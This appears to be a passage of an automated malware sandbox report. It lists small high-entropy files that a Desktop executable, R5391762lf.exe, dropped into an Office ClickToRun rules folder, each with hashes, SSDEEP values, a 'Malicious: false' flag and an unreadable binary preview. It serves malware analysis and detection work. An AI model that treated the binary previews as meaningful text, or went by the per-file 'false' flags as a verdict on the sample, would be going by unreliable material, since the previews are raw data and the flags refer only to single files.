SHA-256:	B38C68FFA52965980CCF6937C154514E96F1C1D665D812EA9FA697A8E8119D01
SHA-512:	B220F5ED375655482CA4EB49C797C46B14728C5AD2D46F045162C02F28E5A13A68747074389B3F48902DCFA79BB2171C8A617B6364C444BBE4D4F55F352EA24B
Malicious:	false
Preview:	.<?.C..FT...=Sh.&P.[2.]b.[. .....\.E...A(D.......o.p..J.\../.2.....o..#.....^......1].....Q......{..S..(../.4f...c,.'S.o.....k.P..%.G...1!...~A.tU....m.%.p.X.<..s...K..6..A..b.....v...#(...s.Kh...ao$4.}MK.........v....8.e...RN .8.+E.+1......{.G..).\....3..P.E..+f..C....V...D...N....G.{, ........g9\.YE..+.....=:k.-jcH..;..[.r..$;......t....... V.L..(G ^/).s...el......1$g.A....Gl.......Je..+.c.S<...9. .g.e"t..9.....W..{.&E......n..2....)D...o. B........&!....f.D......V.x..._D.E...#R.i=....,Dt.....w-..YXwR.i;.o...5..T>.....H.e......W.WZN.Mx0...#VB.Val..<....].8.<.F0...l..B..yH..6......r...o..w....>E...J..F}#.9......e...WpR...9{........0.%...[.$..xu.~Ch..z.C...>....=doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.735022508743766
Encrypted:	false
SSDEEP:	24:j19/A84m8XwhOVeXimpnc4SdIy2+FGgiKeXq8uWbD:BKmywweHpc4SSuFGKeXFuED
MD5:	05CAC607DA3FE5EF4D9198F247DEEDD4
SHA1:	3D809273AA7AAB9EEA62E805CBF5F37B31436C82
SHA-256:	922F6AF0F46F233B2B3A9F1779263F781E8DA887FFEB0D4FF191AF9FF189C17D
SHA-512:	E4474653C5628F15A97816C01DAA7218220657A03BD2427B59A043A979AF6A32FE3222CC029C22AF2268E129F82DAE7D1A59135B753026D234C7C4BC17C42B85
Malicious:	false
Preview:	.<?..7...%.[.^.L..}....K..(..&r..).+..E...Q<.3....k..o..q.+.s.H.Z.j..M.BL.C.T..H.x...:.\|r..".i...v...w.,+#........Wh..o.<......od.~.96.g?:K.9:F.b-.......x.....{<.....r....i..#l..B.g%..WS...8J.....p..n.).....Q...s.u'"A(foQ!.~...3.?.......\...+......u....9TF.E..z.V3..6..d../"..be.`.r....Y...J..N"gW......<J.=i... ......B\|..if.$.].^.......).q..F........2E...GV<....7.7......#..6...(....#....._..:.........E.k...).....;4...Zk._.... ..v..."].j..-.......M..B.[....V2.U.....\|.......2.hD..U......6v...\.8.'..1ul(dE......l$.P..Z....y...2..j".;.l.=............`y....].......s..l.t.......`..$...~.m.W..BNPY.:..G.<.V..V!...&.8k.u....2{.L...$.~.l...1....b...p...D..l..Y..1z./.......rnW.&B...........D.y..T.WD.#..........doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.696699022934747
Encrypted:	false
SSDEEP:	12:u7d2uN46xsbFVPA0MV+dBWpMHVId+XsjwwweWT9egijQ3tIOTrPDXqOTuWcii9a:aguNz4HvMV+dBD2d+XJww7TiitbPDXq+
MD5:	C9D0C7D957F02712D739C27EFC18624C
SHA1:	75534FAEC33DF1DAFD3A124E1444C54CD7B1A494
SHA-256:	C185ED5B909CB88E4275ABE2ABA5A4CC9E97390524F30E20CBB56459B0E927C1
SHA-512:	8FAB46989ACCA24A1AA54CDDCED99E8DA212D4C2E6B09FCF0F84332066DD9D9EC7AD1BD36268313C5B79125ECE376E0DA635975D848F81831907D2D018B39C70
Malicious:	false
Preview:	.<?NEA....?.!*rx.dB/.,;E...Lu..%......ns.\..!/3...I.p.$....H..Yu#..=.H..Pp...1.L...o.&.1.....3.$@Ky.pN......)..9.......6.S;....c....H=.[..2S.8.1.lk9.....GJ..8..^.6;.j....m...Q..zL.{...h....H..$..p...;./2%.!.hF..: ....~=@I.E>.m..i..6..n.w'NkS..<Q...7z....)...........#.4.!....}](...._8O}Krt. ..TR.^.[.z..f.....C......9...=w.p^IX.L.vQ..g..9...$.S....h.OCH...%.:.t&q\P,.dy..<..n.O.....+=-T=fk7)..V..9.....t...E..>5.......il.O!jv...H.$..Iz<....'..Yb7..p.................1.D..(P.Eo......(.....bo....D...._...erY.0dk'."g.V...o.H.....:l....q=..c=r...YS...7...S....w@.I.....n...g...].xo......6.IA....d...%...hk.......;\ .....N...efq......g.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.720880996624247
Encrypted:	false
SSDEEP:	24:9Sz0OzmDngvgmjLqHaW3xQxYm6TXq8uWbD:9x4s6GQxY7XFuED
MD5:	29E990F599F7C98EB271B339A7A5CB27
SHA1:	75315B1D693637B3DBA9001C684E7D7FD412BE74
SHA-256:	0AD5019D60103FA739949E584C1A1A955B4F9BB08A4397F37A03959CC51ECFE1
SHA-512:	F1AC014C422846E2F812AFA7558A52210546882C3D39DE67D8A1B8674CC42A382671D028EB2F22061051F1A81C4EFA14D0B53E498254774078A6F9543E06119E
Malicious:	false
Preview:	.<?/.el.+.....%fa........5>!..p.u...=PU.....d.=.(.o.-......rV..A..1...s5.....S..nerd..C.c...V..o.,.A$.h.~\|..mw@...qu/!z7.w.G2....o.?.hU.H.}.1......d.g.$W..Fr.sW~5.u..<EW.k.V.7C..7......Uw......#.UL....(.+L0...lZ.l.~6..)....._...] .....9...4i.m...H....E..U.#...t..N\|....8..E...:...{C.R.....'...l3..p..7d.Q]..4..&,L.....;..4.l...U;..t....[@...[.~I...8....L.Wc....U.B.;.....? q...Y.]...a..9..B.T.0..RE.0z..k.@.F...3..0..@...GQ..o.:..x.7fK.g.~}...P].....(h.$..pQ..f.,..D1.....m..o!=.o...TtD.r...N...B.k.&._..A.M.T..2xR./...8.....M ....d..QN.. L.&Z..C...s6K+.Q.+..s.r..w..Oh.kt.Fg.,4.MJ.s...^^.?..[n.T.;.rS.......$.#._.".]..!Y......p.......?...f.....m..A...b.1....Z...O.m.i..&.Ec.."......\U.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.682581870531207
Encrypted:	false
SSDEEP:	12:e43ECVPv7HiHjFd9vzrZXdaRtlg3AOOOzA2d79xCVtxVNa81TJoAiBUKXCCYKqK5:j3rNv7CDFbvzrlYRtlRdOXGZnJoAiSKF
MD5:	1122BF3BE8A19C19A08225288218E9F7
SHA1:	15DCE6C0AC0E70044B81EC7B5C04889ED1993A8A
SHA-256:	C5FCDF21CE25583DF692AA7723D8BE5D478232F37F151564515A39ED1E18D188
SHA-512:	87317103997B39C870FCDD4D07B9B2CD57C52A07B8161DF6E00194CE5C3E6BFF849CDD9758693D024366E0F86D862D2975433048E5351F15F021B14BDAD441E4
Malicious:	false
Preview:	.<?N..W..AY.}...?.<...........b.4=...c.j=.MX...6.}'....;i..r.#.7.._!...YT3r..j.y.k\J.~.P.o....,tjw..^..!.r^:J......a.H4u.v.z.......k8.(...r...1..n.....!h..k...........Z...... .I..;..:.d.O.. U..Y.@..)H_.......z;,E...#.O..)v.Id..[<.k. .s...{.$E.'.7...x.=...S.Y(.6Y>....r.uj.eM....k.]..E...9dn9...?'..P.]\E..W.....u.j?...H.=..9....14O.?...I.\|....J...n.S}.y!r..-L../..X.9.{.m..l8.!.xI.g.t.a.j.....T~\|..N.g.`...z..Y.....-[.......V.N..~.v.V.E..I^.t..Hm.j![]&.RP....I...=,....^.p....I"..C..W.vq.t!..E.....m..o.........{C..?L..e]!q..&..X.%....e.t......36..zS...GC...8!.0....(.".7.9`..yC..m....\...I..o./@.}.}J..c.gRM[._d..kdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.712414338537523
Encrypted:	false
SSDEEP:	24:rJBmocV3AofYSOFgnOL8fORcnEhWslrvpXq8uWbD:/cVjQSOFjL8fOSEwsl7pXFuED
MD5:	621C645B0BDE9C6427A05E1C9AB47DDB
SHA1:	5AA1ACFB125C7A9E1883F8EB64F1839F67BCEEEA
SHA-256:	4B6AB551EDCDE818835094215F5E154CB3611F8A1A2FFD9F07D7204CEDD81BEA
SHA-512:	526A12B90226A27F9574282E60592CFEC48AEB0DF28D67167E00DA1A52432B64D9632F260149E7772D6A79E501F3A00889F9428D0C25ED55F812CBE3FBE248DD
Malicious:	false
Preview:	.<?.y..p.h.....5" ...y...Hk.X..x9<...3\|k..D.6....,..9........N.....$J......]c....._..Hb....[.1..d...A.=.......(G.~.!..P...'K...K....o..t7.kX$..m.}S...%.t.=..`.RL..c.W......4..T.}..b..KE.C.~..:-.$....h.F...jK.7.. .a#1../.]`@.nYM.W.\='..1.9...!c.4c(.k.../.\.wU....0........7^......@...9.Ea......,.F.".........Lg.qz.@.].[. 9R...x.ZMp..J........i...g.,..G...K..MVn.m<..r.a..Il..3.W2.c....yO......:.....Jy........7..G....Lz7....gREg[.zB.3..I....;~.....G.k@..H[?.`S-0}..e...C6d...v.G......R......qt-..k{.M.S.....S....3._.}'.......A&...}.....K....).zB..;o...V*..l}....<6........Pb.ke...!.[7_R........s.@.....].p...;.hv....7.nU..z.O..<bVAP{.#....i......<.rFu=....^..5x.....BJ..i....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.688007975832332
Encrypted:	false
SSDEEP:	12:Pm6R2K1TVucSYDV1sj55BV4EXLjaLOlsoTS/qBxLTkp6rHf8byKw0zMtfaIV4IyR:e6R7K574ALTlsPSksrHEbyKwU03V4p/5
MD5:	B4BCCE09EFCD0C65D559D158E0C61DAC
SHA1:	D346405FB88BAD745D9E43FD67D8E4CBEFD3A6A9
SHA-256:	5868BCDB24C9708D346F29A133A60D49E50222562E104D1BA8C492ABCF9EBA36
SHA-512:	4A88076503940DE67D93C3E2B10D3B25BC4DD5E7B9A01F600ABADF8717BCFB6A8895DF829157EB4422D54BB4CEEAB08F335B663D87C47DB581C0231EB99DB6D2
Malicious:	false
Preview:	.<?4...kH.n2../....#...mW...#>v.0..\|.....w.O%.R...bp.\+..o..*.....i......0.<L\R'....y.....&......`.9w....rX..&...H.gF..0...i..<Y@.k.$\|..t.p.E....DF..O.....]...}5...o...$.V....c....v.\}i..Dr.g.K..2.....k..Q..j..p....F...kn.o7.;.v._..cu......b..Y. ..O~.afmMB...@.....?@O...E...{1f..F..._y..u.N}..>L.p.>.B?.n{...F.PB...)=..c].T]....=.Il.....\|..P.t.9uX.6.CU............^......DZP....q.C....z+..p....\...=p~...5...5..N...........K.#3g...1...Iw.-.....8p...9)..7)..,.@..,]...!.'....C.......e.m....9f..k8j.k.#8.^..Q....$vS7F.b..d/:yS<...;...U.?..?.>.X...dt.dD.33..Iy..I.7d......F.....^.C....7.5....3..@X...Tc..I]..#...f....HbN.....k..{.Y.F..o...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.76440947702473
Encrypted:	false
SSDEEP:	24:VhkRzY5G4g698RUDlVtcJu1/0AS3EvNXq8uWbD:VWR08qWRCtchAS3EvNXFuED
MD5:	3BD1CE8EDF015E417D067BF2A0305F1A
SHA1:	7A3CDB07A97DD3A3B7CA9BF2099384AD79D42DDB
SHA-256:	267BEB4D4D683960965F251C098A4A456F5A4E05423175CAB802A703DBA46B6A
SHA-512:	9E1C7B4AAAFAC4D9744C1F2DDB8CCAA4D4C512EF0DAE74FD7300E3960249C6EF31D67B2085DBEC24E3AD9FDD675F44DDE2B6A4918A50B101C2E56E00BC79D4BD
Malicious:	false
Preview:	.<?...7[/.}.\..(.._vj. ..@..t+...N...y>uv.fe.yb5r..A..).[..vu.}....M...OZ...>.Z.z..m...J.G...E.....O\|x&.zVmW..vw..e..5'..?.n.$<.Z.`...U8.~.J.\.>..n.....#.9a.K;...J.....w......I.M.?....Pt4.U.U...I...g.F.o..i%^...jS{,E...aR..I..k.b.^.+p..P.t....E........A..RD...I.>U.y.....klIU...&..\|.W.....j`;.3...F...Xh.0...!....^..T....d.EW+X..%.A..f.....?.y.y!./..C.G......C.g7...ZC....A.P,.G.t..6..o^7V..7.>q...km.......+\':.{...?...?qF.....s...^d..H...\.s...a.2V.H...`j....zU......}Y5..6..4o%..`A..... .....>.Y...........9..Ew..l1..H.K....F.<.Z.A...@.F....L.........s9...9......J......%+.h...E.....2{..e+Q...).#.....f2(A..7*....H.<Wa\...;..}.u?....]..!5c.'.N..n... ...z..)/.......$...H..3..fj56.o...,.<.p...{..Y...K....3...G.].doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.718479662738377
Encrypted:	false
SSDEEP:	12:5VB/BQJvYjIZxjuHp40NQYECO8SAB8aQALaz203cyN48cDM6U0iMowGSXqOTuWcq:5kZxqHG0NQYbkApQALh037NncbLPJXq+
MD5:	C3E0B9FE2B5A3FF81D0AE6DF850F814A
SHA1:	C10B41C525E1836AB4D269282A40834A215C3F19
SHA-256:	A4C1827C8064292F952981B81363C9B53004DC87B5603ED45E26029068F3CAB2
SHA-512:	0E1D3410A8CD6012080C8CE701F4D8EF2B1CB7E0D50DAD3E6B1F9E5CD5FFE3D2D39884CFD86367735B1BF1D563C0F65BE01821BA685D6E237A08A72E36EA15B5
Malicious:	false
Preview:	.<?....A.\..]..g..t.....q........V\#.a./6....1d....1....mDG..rLq..:..&7.t)-..Zq...q.G..u....R.yc..{3...zz..w...o...`s@*...,..C.....2..im$o..u/.s..:.y..L..W.u.,Al....pn..H.........).n...aw.w..,...e..k.%EAA..j?(>..q3...;..Pi...r...._K......."..u%D..;.....v{h..O.L8....S.6...".7..A..S]....c..D....../B.=F..'G.7..5!.9+f...!.....:+K.B^..K.9./Mb..U.l..-.b.C.g..&.>\|. t...M.~j....(S..f....Z...2..<%.$.L9#. ..4....../.1K..{..."E..:.\|#s.P..._..W.Ul.[Y....{q....H...4..i...PIp......-.:.0.jY...[...m...~.....8C.0...h.#.q..........+..c.(..l=3q0..id.f..9.....$$......./h&.s^[m...1i.........w. 5q.Lr....-..d.y.g..G..c..z.:.`...."^....`,.:{M..m....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.782915703064187
Encrypted:	false
SSDEEP:	12:eqmC0oqyQDMJHO+Xbq+AYk1VO1JFC0BT2JR3Aygj0ImSmDEpAXqOTuWcii9a:eqmC2bD4uBJcJFbyK5LGXq8uWbD
MD5:	F990FCA909435AF8F0572BC1DD73A639
SHA1:	3A8CDD600195BEE00A3D87A884B89B2E5EA5F818
SHA-256:	C8DB4AD1D8EF276A648DBAF90E126C381059A560474289EA95309BDDA53F2885
SHA-512:	5FDD37ED3265E409C89F53D698985F4A8418901C73CBB714746825297B4F664F39F0F65CCD33D97EA63B235F36F23EFA15D8F7D330232EC4129BAB269FF858BA
Malicious:	false
Preview:	.<?Yi..#.......f.......X....d.3..V...w...2..."{.....$..<.iz]=..b3H.....OD%.T....h...hq..=........s.I..4&q.1n).D%..%..1.`.0Q.....\|f....,+...]..y6.n.v...u..#b........t.W...K...\|4..u*..USs...d.#l...H."`.....gM..Z.a......C n.z..1/...wy...j.^.@C...vI.s{.z....fi......nl~.^..rV..F`.......@.I.:..=......]..!.&.\?...7..{x.e...4.~.>.....A2.2.a .Ky2.....W .......mA.......Y.....]b.......[.[.m.8.A:..".....m.........t..TEk<;..$.Vg..%.5....H.O.dr..]C....#R.N.n\|.....~.."1.6.`9PI.~x.Ux......Q`...V0(_....5.......$k..`#>:Fw#.t..7..T.Y..a....'z<.....B.+..0h.,S.w,WL.&E.r+. >.Q.h,e.D....p.e....m...........S..`L...`#..\.C..E...?/F.4.S.....\|.#h.5.+t>B....v...FC.;. .....T].$RJK.r.......L.......[_.2...Y..rdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.707537246848184
Encrypted:	false
SSDEEP:	12:qAkPXgAjaEpApqJLkCR6Ceuzw51s/aF4CN0BBeYxkE4riDNzs8vUXqOTuWcii9a:qDPQAjavp4L3VzOs1COBeYxk32DhfUXp
MD5:	8FA77519237A63AFAF2C21903B45E975
SHA1:	A9472CB7A43BD45B9E0E76E2B45A337316D3D634
SHA-256:	758254AF8B65420B348350A73804741A81C454229266A127C652148C7262D864
SHA-512:	B81EAB82AD6DF987CA5A5EBDBB8AA3C199680A4280CD73274C7633F45EB91E1D6A2238B526BE1EB626BBD23CADC8B18370365E56E6B0A48879278553E1026D86
Malicious:	false
Preview:	.<?k=..Q..>.}....B..cZPS....X.m......G..G.j..P.5rt.. .#^.q.:M.r.b.O2].B8.TS....\...:p.^M.r..."3#....;.wR...[!..\%.g:\|.Hg..[:....P..?....q...O...o.D.....+[0...#.....>.0a......-H.P..~.$.....U.....W.WJ......KS..{..E ?.N....e...r.......`..o.\....h_.....p......\|....p..d..P.N."...l.?......sV.n...6.e..$....LD.{.D..B.j.twWIzV..!.'.t...m...G.K.O.K%~.!....h....v.9.nA.A.=.....c\ M......LW#..M....E....1..7.}ArL!.r v.0"U....f......v..g..x.`.;.V.z..B...J....Wb.8..{..S......o...Y.ySOR..). &....{....okV.qd.0/...7G......M..$GR......j~...Y.+....'..3.,i..........K)5rA.H2.r...Z.C..H..<..`...gHL..+I...@..*.t..LV..@......U.....0.u.<.O."..../n..1ei.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.706753453302099
Encrypted:	false
SSDEEP:	24:+x9Pl0HuX0qmivm8xyq04Dl6/nEx4Xq8uWbD:4JpX3mQ+p4U/E6XFuED
MD5:	DC48AEB0B22B9AB2CC22F644B41A0FE2
SHA1:	07145CE2EAF6E5D9505C3B1005C0514523D1CEBB
SHA-256:	CC6767D226EF63EBF1FE0FCF17D82B8FACC1C3A014B79001F5521B2A969B5286
SHA-512:	93BE8821AFC4589966E01C4B93015592DE511ED09F768A22BEE8CE689BDD8C841258ACCB0DFFA3E2CBA1B7E41AF41EB27F0A9676C6C2033422D9D328A6E65192
Malicious:	false
Preview:	.<?..9...%....(..:..."..z.:.9.RXC.&h...?...#..^."....Y.}.....{]Jc...`u......In.H..7W.=.,.B....=a`..&d....o..s..[";...'.Vd...xx....Y.... i......h5aW..r\|......s.n.}......J. .j'..G.p(.%.0..K..N?g0.R.0.....O.....q..h6...yJ-E...........m.H.~.....Q{.E.c+p.._y.....K.S.b...K+#.6im...".....Os..KX..p..'q..pc....q;.L..[m....J].\|.......].h6.Li....b.F..,....qd.R...hF\|.N.4..}rB'...m.......X....4M........p.f.c..A.....O.21......j.9C0..;~.F,[P.2..M.?.....p\|......rq..0.>...$..=.l..s9.1.....:+.M...{../....^f{sc...ln[....g}....."..q....qh_."4...h..q.!...He.J..@n.9P..........e.d..w..O....>.....g.e.....U.W..6.1..@SA..F....neC).......f.&..[68....@..^.x.I....+..._..-......!...#;+.X&F...Y....a.^..G./.K.$@...F.W.J.h.^)O.4xdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.689893351211741
Encrypted:	false
SSDEEP:	12:WGA+inq8svpDQ8Ei9lSGSy4n06LsAPLBV+0o0USfrJGy4gEtO1nVmm8+sh1RXqOj:WGAXuqGSy+IMLBVLXUSftp4QC5+sh/Xp
MD5:	0F603B3052CCD415AF4E5D18715E9C6E
SHA1:	D54315DC10138D7B2BF13ADD6818F2770000B82A
SHA-256:	A51F23E1981A70BEBA24C75AD41983EFC29ACC1BEE40035AE1CB2B289C7DD8BB
SHA-512:	51C3C8088B9D84195A9EEAE32351E92426C6AF6A072C06DFCE265086B6FCE191B1F947CFB53DB351E28213E0455CA29C292D5981AD6F9E8D0F67A08140BE5D69
Malicious:	false
Preview:	.<?.t......B...[c.2....-....yf.?...{.$....;.........D.y..O....... g...;......%.mS....CrR]......l...W....@#.y.6A@..."................][..7..\r.L...}....A>.....N.-.....&&a.&&............1.........:.i..w......-l.s.....m.ne...+.;<QE..;_3g3eE.Q....V.b...y.!!.e/q.s..$..@n.]..[6dco.y&[p@..........W..gS...lIj.5.<...O..y].D..7.t...s..4.Q.........1.f....`..Y..Rn.C..2...fm,,.gZ!...v.. ..B..,.....z........E..4{......>t..bf. ...b7...... .}/v.).8C.....b..k(+.,<.F8.E.o....E%.Y..e.....z.nm.u_...ZH..#.sW=R.kn........:.2.QY...j..3j_.2..N.i..#.....T.yu.k."5v.?.\|6.t.`..v.G.I.F.....8:u...*....a.o..K.C.wa.....I.t...o@..7..[.?~.M.P.+.......zv?.f8... ..,8..(.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.725878874100479
Encrypted:	false
SSDEEP:	24:CfQ8huOBzcFSt/NKXF+wBWteOnOIqqXq8uWbD:CBlNtwKqqXFuED
MD5:	B8DA139D56E225FE6457D49806751FE7
SHA1:	D731C731B993028036B4BA90F7FE9CA08F64F49A
SHA-256:	0480E1A69F4C24DDB608637C6AFF93370341224941399631045E6FE18FC16FFE
SHA-512:	7E6894A844C3B9287E9979314783076B0846919C2B7C400A82E2478AEBBCECFFC8B01BB9F42E8CAB31DF2B6E267D409AE70454EE6519CD58F5A6B27B839171B4
Malicious:	false
Preview:	.<?..[....u...V.J..u?.e...W...R.....n.-Lc.1q.3..../...+TB...f...%n....t4...4W..}OO....^.6L../....S..y...r8._Y..I......Pt...D.#.2.6..9.~y..........y..c.@...(..;l.d.;.a.\|e...p\#."...^.>.........y..V.c.f..P..e.........?xP..>?.Nd82...\'...........D....w(..Z.u.]s....T.&..N.g.t.....A.... ...Deg[..:-[..d...(.`Z...=;..V..e(..M...Y26...].S-7O;......J.y...:.....>..y.[......j..!..*t..^.}.Y.7Kq. ....{...uY.....#n.o..Uu....SY..3.7.(.C".............Nw...RF.)..x. .X.k..............0o.......U............&#V.. .H...uE....?7R......4j....6?.7j.....s1.(..'Bq\|H3..x2...2.o.....5.V(]Y........".(..H.^=)Y.T.y...To.....5}...,.../. ..eZ.....n.\..2E....G.;.R...........Iq.t..xu....`x...N@..W...t.:....d..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.665023855231476
Encrypted:	false
SSDEEP:	12:sSOhlWl8XiQ/JCeFojrAyywk0oC87g836dNacmulF4XzoRmSvkRFZQU/JH8KWXq+:sPhlW+XiQ/AJ/F18Z3GE84XNSvkdQU/6
MD5:	E3C5BE5262816D96CEC25471DB01CE63
SHA1:	B467AF105684FE6491E3658F552BD5D4951D9855
SHA-256:	244260A8ED0CA47948987F30B03D04653542F7E6EC4E0387596C1828F34E46D1
SHA-512:	7B177D3B9CB99C90DA1069F5C2CE8637F13387876C91B9D7B2AEC1C9232B0F9F24342603B00FBB44FE74D44DCE1A8DCDBB987FF1976C2F0260FE6250A9DCF361
Malicious:	false
Preview:	.<?.$..S.6......6Mr.._A......O)..C..$Yyo...7j...o.gY.q......z.c.t....DX...u."...,k".{....9J....E..J..k(.....G...'..F.Cr.\|.`).......@Q.5E.+........7..aJ..Hr.g.H..]...{..).>..'t....{.0g....\..,.Cm....8..l.Lm......I?...<{.+.$. ..Z....i./2...Rl.....i../m..(..^.z.R...\$...E...K...t....5..r.i...<)h,.)...D.MU.v..q.T-.A.R...j...4uEK..zp...(.'hKB..a.%4.._4.-.....\.7.\|[..f.%.{m.....B..#.....#..\|\|(@.j.v...a.....{./eaW..*4&or.u.r:.{I..l.Qt..0.G..&.Q8..c.1w..M..[.+y..}.{.\|........4..&5...O..V.m[.8...._.baK7"5Bq%..g...B;...i.D...[.....n....a1:\|5s..e].....?f.9..x......1..{.....^0..Mf......}...E9.uR..gQ..9v.....R.q.^G.Z.."..w..,c.s..B..E..,..n@..K....JV.dx.L.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.75833241707507
Encrypted:	false
SSDEEP:	12:giAUPbHxMJibOocwHNAHb2Z3Gj6U6GWMTiakrk6SgFjwch+QMW9EKHAS8lMVtBXp:+UjRIyrcYNAHbwnMeQzcw+Hw0Xq8uWbD
MD5:	CC3F3C37FA6922FE40BD02C1E6C30411
SHA1:	37540F7532D7B5507CC609682481DB0C41667733
SHA-256:	5EEF8299AB15E183B5677C206D8CE74AD91D66BC24EFFB6CB0020D3061DD4860
SHA-512:	348BC6AB917345E9B6D609A9C3BD662940194E97E42CC507AF5DEADBB89D0F8309DEA079CE6CF52A0117AD1D336D398275F7E88338877044E3528E221E9F56F1
Malicious:	false
Preview:	.<?#....{.qk..\|..H`$rJI4.`.hu9....vN!C^].30r.y.6......v>.P+:.1..?.&...2f.....v\|0..^..i..1%6bd\|b..=%.V.CY.v#P..OoZ.{...w.......W...^...9w.X.iR..\|.?I...Y^...y6.F.#.s..i(.R...-......1k8o...Z..._dBV\.....{.....Vu+.U.#..~..W.~.P../..%.N.q.-..$....hW#hd.m...16G.c.-.......9L>..e.2A... ...@......I~G..V..a.V1.l..v.....O6.w....'....La.O...8.dqG...=... ...p...x.-.K.+...5J.N1.Y[....\V@n.N.~.s.y..k(\|..+mL,..H..N...t.`.c.H(..w..v!.YxrgF..........a.......q].CO[...)B .z.ptFE.)hX..:P\|..;...*L.3.}...0.Nu..[..Y.e"....u.A..5...Ir..,....0....Z..jf.'.<....}.\|.k.x.l..!4B.Tea.G....Q3...G.(M.;..c.F...<.y.d....v..X.k............f.PtF.s&...7.6C.."2............`IM..M.....v..<2..X..p.wa..]B....INq...B.Y..$C.&..{C.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120639v0.xml

Download File

